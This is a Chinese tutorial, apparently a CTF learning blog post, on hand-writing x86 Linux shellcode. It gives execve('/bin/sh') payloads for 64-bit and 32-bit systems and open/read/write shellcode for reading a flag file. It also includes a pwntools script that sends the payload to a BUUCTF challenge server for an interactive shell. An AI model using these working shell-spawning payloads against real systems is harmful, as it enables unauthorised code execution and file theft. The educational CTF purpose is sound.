1、什么是shellcode
這里我談談自己的理解,shellcode就是一段機器碼,如果可以讓CPU從shellcode首字節開始往下執行,那么shellcode執行完畢就會達到編寫者想要的目的(shellcode不一定非要是獲取shell的機器碼),至少初學者先這么理解應該是沒什么問題的。
2、怎么用匯編語言構造簡單的shellcode(64位)
前置知識:
① 64位寄存器傳參的前三個寄存器分別是rdi,rsi,rdx
②64位系統調用號通過查看linux上的/usr/include/x86_64-linux-gnu/asm/unistd_64.h文件就可以獲取
③系統調用號放入rax寄存器,然后syscall就可以執行對應的系統調用函數
首先我們的目的是執行execve("/bin/sh",0,0) 從而獲取shell
因此,我們需要干三件事情
①因為程序本來是沒有這個execve函數的,但是我們現在要憑空給它造一個,因此這里系統調用execve(你可以理解為,執行syscall指令之前將rax裝成對應的系統調用號,就可以執行對應的系統調用。
②將第一個參數存入"/bin/sh"
③將第二個、第三個參.數存入0
我們要做的是在系統調用execve之前,去把需要的參數都存進去。
xor rdx,rdx
xor rsi,rsi #此時去把rsi,rdx兩個寄存器都存成0,至於這里為什么不用mov rdx,0和mov rsi,0。
主要是避免出現00字符來截斷,不過話說,據我了解,平常如果是直接讀入字符串的話,00也不會產生截斷的效果,只有用strcpy這類函數的時候,才考慮00截斷。不過那為什么我們平常寫shellcode還是要盡量選擇xor rsi,rsi而不是mov rsi,0呢,是因為xor rsi,rsi所需要的字節數更少。
這個具體截斷的話,可以參考如下兩張圖片
圖片出自CTF中常見的C語言輸入函數截斷屬性總結 | Clang裁縫店 (xuanxuanblingbling.github.io)
接着是准備要把第一個參數存入rdi,以前我一直以為是rdi的寫成/bin/sh對應的ascii碼,可是現在才明白,我們只是要把/bin/sh對應的ascii碼的地址給rdi即可 傳參的時候,要調用的函數會自己去這個地址里找到對應的/bin/sh。
因此這步要寫成
xor rdi,rdi
push rdi #此時的rdi是0,要把這個0壓入棧頂,當下面把0x68732f2f6e69622f壓入棧頂之后,這個0就起到了截斷字符串的作用(用來聲明,execve的第一個參數字符串到哪結束)
mov rdi,0x68732f2f6e69622f #現在rdi的值是0x68732f2f6e69622f
push rdi #此時參數0x68732f2f6e69622f(即/bin//sh)就存在了棧頂的內存單元中
lea rdi,[rsp] #等同於mov rdi,rsp 此時是把**棧頂的地址**<u>*(**一定要注意,是棧頂的地址,就是rsp本身的值(rsp本身就是個地址)***</u>,賦值給rdi,也就是說此時rdi的值就是參數的地址
這里我還是想詳細說一下,因為當初我在這里迷了很久。rsp的值和rsp的內容是兩碼事,你可以把他們理解成c語言中的指針p和*p的關系。rsp的值,就是棧頂內存單元的地址;rsp的內容,就是棧頂的內存單元中的內容。此時rsp的內容才是0x68732f2f6e69622f,而現在只是把棧頂的地址賦給了rdi的值。
現在也才是我們要的效果,rdi里面裝的是/bin//sh的地址,而非參數本身。
這里有兩點需要注意:
①這個0x68732f2f6e69622f是/bin//sh對應的ascii碼。並且他是倒着存的,因為asm在把我們寫的匯編語言轉換成機器碼的時候,會因為小端序的原因將輸入的內容給倒過來。別的機器碼我們不用擔心,但是我們輸入的字符串,需要手動先給倒過來一次,這樣等到匯編語言轉換成機器碼的時候,再倒過來一次,程序處理字符串的時候,就會拿到真正的參數/bin//sh,而非hs//nib/。
②0x68732f2f6e69622f中間這里出現了兩2f(也就是兩個/),因為這里要填充夠八個字節(64位程序中,一個內存單元就只能裝八個字節)
為了達到上述的效果,我們還可以這么寫。
xor rdi,rdi
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
有好幾處內容都變了。
首先是原本xor rdi,rdi下面的push rdi沒了,咦?難道我們不需要去在棧中存入一個零,以來聲明字符串的結束么?我們依然需要一個00來去截斷字符串,但是此刻你還會發現0x68732f6e69622f中間的兩個2f現在就變成了一個2f(此時參數是/bin/sh) 難道此時不需要去填充夠八字節么。是的不需要了,程序發現了我們這個內存單元的內容不夠八字節,它會自己幫我們添加一個00上去以來湊齊八字節,並且這個00同時聲明了字符串的結束。
因此我們不但不需要push一個0,並且還不用去填充八字節,程序幫我們補的00,正好可以去代替原本應該push的0。(值得一提的是如果我們內存單元只有六個字節,那么程序依然會幫我們補全到八個字節,也就是填充兩個字節的00)
最后的變化就是把原本的lea rdi,[rsp]換成了一個push rsp ;pop rdi(把rsp的值壓入棧頂,也就是把rsp的值存入了棧頂內存單元的內容中,再把棧頂的內存單元的內容彈給rdi的值,也就完成了把rsp的值賦給了rdi的值)(在這里一定要區分清楚值與內容的關系)這樣做的好處是什么?這樣寫的字節更少,原本lea rdi,[rsp]是四個字節
即使換成mov rdi,rsp
也還是三個字節。但是我們為了達到同樣的效果,使用push rsp;pop rdi兩個指令,一共也才兩個字節。
因為很多有難度的題目都會限制shellcode的長度,因此我們所選的shellcode,是越短越好。
最后,就是將execve對應的系統調用號放入rax中,然后syscall即可
那剩下的匯編就是
xor rax,rax
mov rax,0x3b
syscall
然后把剛才所寫的三部分匯總一下並且精簡一下最后僅僅用了0x1e個字節。
xor rax,rax
push 0x3b
pop rax
xor rdi,rdi
mov rdi ,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
syscall
此時只要執行這個shellcode,就可以去拿到shell了。這里拿一道BUUCTF上的mrctf2020_shellcode來演示一下。題目鏈接BUUCTF在線評測 (buuoj.cn)
使用IDA分析之后(這道題無法F5,不過可以看匯編來分析),發現我們輸入的內容直接就被執行了,因此什么都不用考慮,這道題僅僅就是考察我們64位匯編編寫shellcode的能力。利用pwntools中的asm把剛才寫好的匯編內容轉換成機器碼,然后發送過去即可獲取shell。
from pwn import *
p=remote('node4.buuoj.cn',27143)
context(arch='amd64',os='linux',log_level='debug')
shellcode=asm('''
xor rax,rax
push 0x3b
pop rax
xor rdi,rdi
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
syscall
''')
p.sendline(shellcode)
p.interactive()
3、怎么用匯編語言構造簡單的shellcode(32位)
前置知識:
①對於32位程序而言,我們最后系統調用采用的並不是syscall,而是int 0x80
②我們傳參的前三個寄存器分別是ebx,ecx,edx
③32位的execve系統調用號是11,並且存儲系統調用后的寄存器是eax。32位的系統調用號可以查看這個文件/usr/include/x86_64-linux-gnu/asm/unistd_32.h
然后剩下的思路是和64位匯編構造shellcode的思路是一樣的。
首先是
xor ecx,ecx
xor edx,edx
清空兩個參數為0的寄存器
然后是
xor ebx,ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
此時把參數/bin/sh壓入棧,最開始push ebx是先壓入棧中一個0,用來字符串截斷。最后將esp指向的地址賦給了ebx,此時ebx的值就是/bin/sh的地址。
此時棧中的情況就是這樣,/bin/sh與/bin//sh的效果一樣,至於為什么要存入字符串的時候,要反着寫,在64位匯編編寫shellcode的時候,已經解釋過了,這里就不再重復。
最后是
xor eax,eax
push 11
pop eax
int 0x80
現在是把系統調用號存進去並且進行了系統調用
最后把這三部分結合一下效果如下。
xor ecx,ecx
xor edx,edx
xor ebx,ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
push 11
pop eax
int 0x80
4、手寫open,read,write的shellcode
遇見pwn題開啟了沙箱保護的話,如果禁用了execve、system函數,但沒有開啟NX保護的話,可以采用orw的方式來讀出flag。
首先我們要執行的如下的代碼:
open(flag_addr,0)
read(3,addr,0x50)#第一個參數是3,因為一個進程有默認的文件描述符0,1,2。當再打開新的文件之后,文件描述符就會以此類推的分配,因此上面open新打開的flag文件的文件描述符就是3
#至於這個addr,把讀出來的flag放到哪,一會再說
write(1,addr,0x50)
接下來,就開始用匯編來實現上面的內容(先寫64位的)。
open(flag_addr,0)
push 0x67616c66
push rsp
pop rdi
#上面這兩步就是在傳open的第一個參數,這個參數要是一個地址,這個地址要指向字符串'flag'
#執行完push 0x67616c66的時候,棧頂的內容就是字符串flag,而棧頂指針rsp就指向了這個flag,
#此時執行push rsp將指向flag的地址(也就是rsp)壓棧,此時棧頂的內容就是那個指向flag的地址,然后再執行pop rdi
#將棧頂的這個內容彈給rdi,此時open的第一個參數就成為了指向flag的地址
push 0
pop rsi
push 2
pop rax
syscall
read(3,addr,0x50)
push 3
pop rdi
push rsp
pop rsi
#上面這兩步在完成read函數的第二個參數傳參,此時壓入棧的rsp,我並不知道這個棧地址具體是多少
#只知道把這個地址給rsi的話,flag就會被寫到這個地址里面,至於這個地址具體是什么並不重要(只要不會導致堆棧崩潰的話)
#重要的是要保證接下來write的第二個參數也是這個地址即可,而我們要做的就是保證接下來的
#每一個push都要對應一個pop,這樣棧頂始終就是給當初rsi的那個地址了。
push 0x50
pop rdx
push 0
pop rax
syscall
write(1,addr,0x50)
push 1
pop rdi
push rsp
pop rsi
#這個地方的push rsp pop rsi原理同上
push 0x50
pop rdx
push 1
pop rax
syscall
接下來是32位的,32位和64位編寫的區別主要是寄存器不同和系統調用號不同,另外就是再壓入參數'flag'的時候,32位的需要提前壓入00用來截斷字符串(64位不需要push 0的原因是存入的'flag'不足8字節,會自動添加00來截斷)
push 0
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
push 5
pop eax
int 0x80
push eax
pop ebx
push esp
pop ecx
push 0x50
pop edx
push 3
pop eax
int 0x80
push 1
pop ebx
push esp
pop ecx
push 0x50
pop edx
push 4
pop eax
int 0x80
5、如何調試或測試寫好的匯編代碼?
因為在編寫shellcode的時候,並不是一帆風順的,如果出現了錯誤只靠眼睛看的話效果不大,因此我們可以把匯編代碼編譯為可執行文件,用gdb來調試。
先用touch shellcode.asm 命令創建一個shellcode.asm文件(asm文件是使用匯編語言編寫的源代碼文件)
然后vim shellcode.asm 去編輯這個文件
將匯編的內容寫入這個文件里面。
(同時在文件的開頭寫上下面三行的內容,其作用可以自行參考【轉】linux匯編.section .text .data 與.global - 比較懶 - 博客園 (cnblogs.com)
section .text
global _start
_start:
最后的寫入的內容應該是
section .text
global _start
_start:
xor rax,rax
push 0x3b
pop rax
xor rdi,rdi
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
syscall
然后用nasm -f elf64 shellcode.asm這個命令去編譯剛才寫的那個文件(會生成一個.o文件)
然后可以用 objdump -d shellcode.o (直接查看的話,是看的AT&T語法的匯編,如果想看intel語法的話加上-M intel參數即可
此時就獲取到了匯編指令的機器碼。
不過由於目前生成的僅僅是.o文件,沒有被鏈接過,還無法執行或者調試。因此我們需要鏈接一下。
輸入命令ld -s -o shellcode shellcode.o 即可
此時執行生成的shellcode就成功了(如下圖)
如果想調試的話,直接gdb掛上,然后start就可以開始調試我們寫的shellcode了(如下圖)
補充:推薦一個在線匯編指令轉機器碼的網站 here